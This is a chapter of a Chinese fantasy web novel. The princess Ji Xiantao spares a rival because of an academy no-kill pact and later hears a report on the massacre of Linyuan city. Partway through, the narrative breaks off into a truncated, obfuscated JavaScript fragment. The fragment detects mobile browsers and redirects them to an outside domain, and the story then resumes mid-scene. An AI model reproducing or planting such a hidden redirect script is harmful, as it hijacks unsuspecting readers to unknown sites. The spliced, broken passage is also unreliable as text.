季献桃感到了一种致命的危机感。
猝不及防,迅猛而激烈,恍若一把明晃晃的刀悬在头顶。
若是从前她对危机来源不明所以,或许还会误以为卫山河垂死挣扎藏了什么后手。
但从旧时王谢梦中醒来,神魂与谢燕书部分融合。
源自谢家的灵觉清楚告诉她——
是天阙契约。
九重天阙压得全天下人不敢妄动的其中一个原因,便是无处不在约束众生的秩序锁链。
她被谢宁逼迫立下的誓约里,就有秩序锁链束缚的成分。
季献桃忽而想到了学府的不杀禁令。
应该叫不杀契才对。
一个天朝崩塌数百年,直至七国之战后才建立的奉元学府,拥有秩序锁链也就罢了。
九重天阙碎片七零八落,被学府收集也不足为奇。
可学府竟然将其能化为己用!
而且还是连谢燕书的身份,也撼动不得的强制不杀契。
足以证明,学府与九重天阙的关联,绝不止收集了众多天阙碎片那么简单。
季献桃深深看了卫山河一眼,五指收拢,将饕餮星君印掐灭在掌心。
卫山河愣住,原以为必死无疑,不曾想要杀他的人莫名其妙收手,“殿下这是何意?”
他跃至一处外凸的崖壁,脸上没有丝毫庆幸,反而防备愈浓。
季献桃紧随其后,面容隐在山崖投射的阴影里,一双晦涩的眼中擦亮刀锋般薄而尖锐的冷光。
她审视卫山河许久,粲然一笑,“开个玩笑罢了,我根本没打算杀你。”
有天阙契约在,就算她突破桎梏下杀手,只怕自己都性命不保。
卫山河冷笑不已,“殿下说这话,自己信吗?”
“当然咯。”季献桃耸了耸肩,“不然刚才我为什么不动手,留你在这里同我聒噪?”
卫山河一哽。
季献桃眼眸微弯,笑容中没有丝毫温度,“你们两兄妹伙同许堂兄一起招惹了我,我很不高兴,看在瑶池的面子上就不杀你们了。”
“这只是一次警告。”她漫不经心道,“没有下一次,否则我随时有能力取你们项上人头。”
卫山河垂在身侧的手死死攥紧,却只见季献桃身形融入阴影,顷刻消失无踪。
数月前还只是一个不通修行,会被许乘风带进沟里的平寰公主。
现如今已经能轻而易举击杀他们伴读三人。
卫山河沉默良久,苦笑一声。
他灵力没怎么消耗,二境修为可御空登上崖顶,视线一扫便见卫千秋与许乘风方才修复好致命伤,正虚脱地起身,冲刚赶来的两位殿下行礼。
“发生什么了?”姬瑶池乍见这般狼藉,厉声问。
他身旁,季献桃见卫山河还好端端站着,瞳孔微不可察缩了一下,依旧维持自若神情。
卫千秋顾不得回答,顺着她的视线,转头看到安然无恙的卫山河,由衷欣喜道:“哥,你没死!”
卫山河先冲妹妹点点头,眼神掠过季献桃,只看向姬瑶池,“方才有一蒙面修士袭击我等,或许是察觉二位殿下靠近,尚未对我动手就已遁逃。”
许乘风忽然道:“蒙面?我不是削断他面巾了吗?你可有看到那修士真容?”
“不曾。”卫山河道,“面容已毁,是死士。”
许乘风轻哂,撒谎,卫山河分明看到了蒙面人真容,而且八成是一张熟人的脸,下意识的反应才会是震惊。
但他目光闪了闪,不知想到什么没做声。
姬瑶池死寂站在原地,许久后才转过头,眼波轻颤,哑声对季献桃说:“阿姊,身边人是我的底线。”
“伤害他们的人,我绝不轻饶。”
季献桃对上便宜弟弟的目光,笑着轻轻点头,“那是自然。”
蒙面人出现得蹊跷,来也无影去也无踪,事后大启两位殿下都派人调查,却一无所获。
姬瑶池能做的,就只有给卫家兄妹以补偿。
卫千秋连连摆手说不是殿下的错,对蒙面人气得要死,卫山河倒是安然受之,还连声安慰姬瑶池。
另一边,季献桃想通过击杀卫山河,了却一段因果的目的未能达成,修为依旧卡在二境。
身在奉元学府,噶仇人走捷径的法子行不通,那就只有老老实实收缘。
因果这玩意儿最是摸不准,季献桃做了很长一段时间好人好事,也亏得她耐下性子,对自己有能力渡劫抱有绝对信心,不曾走入歧途。
将从前欠的几笔债逐一归还,终于在某天境界松动一举踏入三境。
结金丹寿元增至两百,习得九云诰第三诰了尘缘。
这招她试了试效果,大抵是将对手心中杂念实质化成污浊泥淖,怎么感觉比地火劫的心魔不死心火不灭还要差上一截?
不过季献桃的关注点已经不在这事上。
学府与九重天阙有密切关联。
这是她与分身融合,得知她险些触动不杀契后得出的结论。
季献桃一度萌生利用秩序锁链干掉国师司命戎的想法,但想了想还是有点不自量力,且他读过一次自己的记忆,已对她掉以轻心。
比起对付他,不如思考伪装记忆误导他的法子。
尽管如此,学府的力量依旧可以为她所用。
不杀契,她曾经观摩扩张领土时盖下的地契,还有收集秘境构成的庞大力场,光是天市垣就存在众多异样。
看样子她帮助乾学长参与竞标赛,这份假期兼职还得继续下去。
在此之前,又有另一条消息传来——
谢天青主动发来联络,“殿下,臣有两件重要的事要告知。”
季献桃还是第一次听他如此严肃,“你说。”
“其一,摄政王府邸近期频繁有人员流动,而他目的所在臣已探明,是临渊城。”
“其二,陛下颁布旨意,大意是命许谢两家与卫家共同调查东夷灭城案。”
如今许多事季献桃已经可以看得分明。
譬如猎金乌那次皇帝设计将摄政王重伤,据说天雷入体直到现在左手还未好全,以调查东夷灭城案为由,既拖垮摄政王的伤势,最重要的是将临渊城对他这个疑犯封锁。
因为这座小小城池,涉及到季献桃的出身。
她的公主身份是真是假,话语权就拿捏在掌控这座城池的人手上。
摄政王不能坐以待毙,深入临渊城是必然。
而这又给了老皇帝第二个好机会。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709178|170740||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>坐实摄政王罪名,削他兵权。
为此,被派去调查东夷灭城案的大臣,全数来自于皇后与贵妃派系,包括后来加上的谢家臣子,都是此次季献桃的收获。
与贵妃产生不和,皇后亲自下场支持,皇帝必会寻一个时机将分裂的阵营重新拧成一股绳。
没想到这个时机如此巧妙。
并且,等此案了结论功行赏,她还可将谢家人安排与卫家一同晋升,就可顺理成章打入卫家势力,缓慢开始侵吞。
季献桃轻笑,“都是好事啊。”
谢天青不置可否,“谢家人参与调查,臣也因此拿到了一些东夷灭城案内部情报。”
季献桃眸光闪了闪,眼睫低垂,“说来听听。”
谢天青的嗓音温和平静,恰到好处传达安抚之意,“城中共发现二十五万具尸首,而临渊城总人口合计十二万有余。”
“多出来的十二万具尸身已查阅对比,未能在灵境中找到任何记录,至少可以确定不是大启子民。”
时至今日,季献桃想到临渊城惨案仍是心口发堵。
她缓缓吐了口气,“继续说。”
谢天青看出她的强装冷静,无奈应了她的命令,“对此探讨出两种可能,一是这十二万人早先便藏匿于城中,二是东夷抛尸。”
“不过后者实在说不通,故而以前者为条件开始调查。”
“首先需要调出灵境记录,悄无声息藏匿十二万人,哪怕不算上养活他们也需要不小的物资调配。”
“其次东夷灭城来势汹汹,不禁让人怀疑是否内部有奸细配合。”
谢天青说到此处一顿,“然而,灵境记录已被彻底损毁,主系统备份则被人盗走,眼下白玉京中正差人彻查灵境主系统失窃一事。”
“臣等无从干涉。”
季献桃轻啧一声,“这只能说明,背后人早早潜伏在了大启内部。”
她有记忆起与老乞丐生活了十六年,那么老乞丐计划这一切的时间只会比这更早,莫非在真正的平寰公主出生以前就开始谋划?
季献桃只觉得荒诞,老乞丐怎么确定会有一个通玄圣体诞生?
预言,卜算?
她摇摇头,抛开无关紧要的念头。
谢天青又道:“此路不通,只得换一条道走,臣于是派遣谢家人走访临渊城的幸存者。”
“不是说城中无一生还吗?”季献桃质疑。
谢天青叹了口气,“是有幸在东夷来袭前,就已经出于各种原因暂时离城的那些人。”
季献桃点了点头,沉默不语,说起来她自己也算这样的幸运儿。
不,应该是导致这一切的灾星才对。
谢天青:“其中需要注意的有两人,一个是因暗杀殿下而被处决的摄政王门客,临渊城上属东海一带的灵境督察顾鸿。”
“另一个就是临渊城上任城主,孔羡鱼。”
“从他口中,臣问出了一条有意思的消息,孔羡鱼之所以卸任城主,只因他在任期间发生了一起事故。”
“距今十二年前,也就是殿下失踪前两年,临渊城曾发生过一起爆炸。”
“爆炸原因是一间东夷用于研究修士的实验室泄露。”
“与此次灭城案的诱因如出一辙。”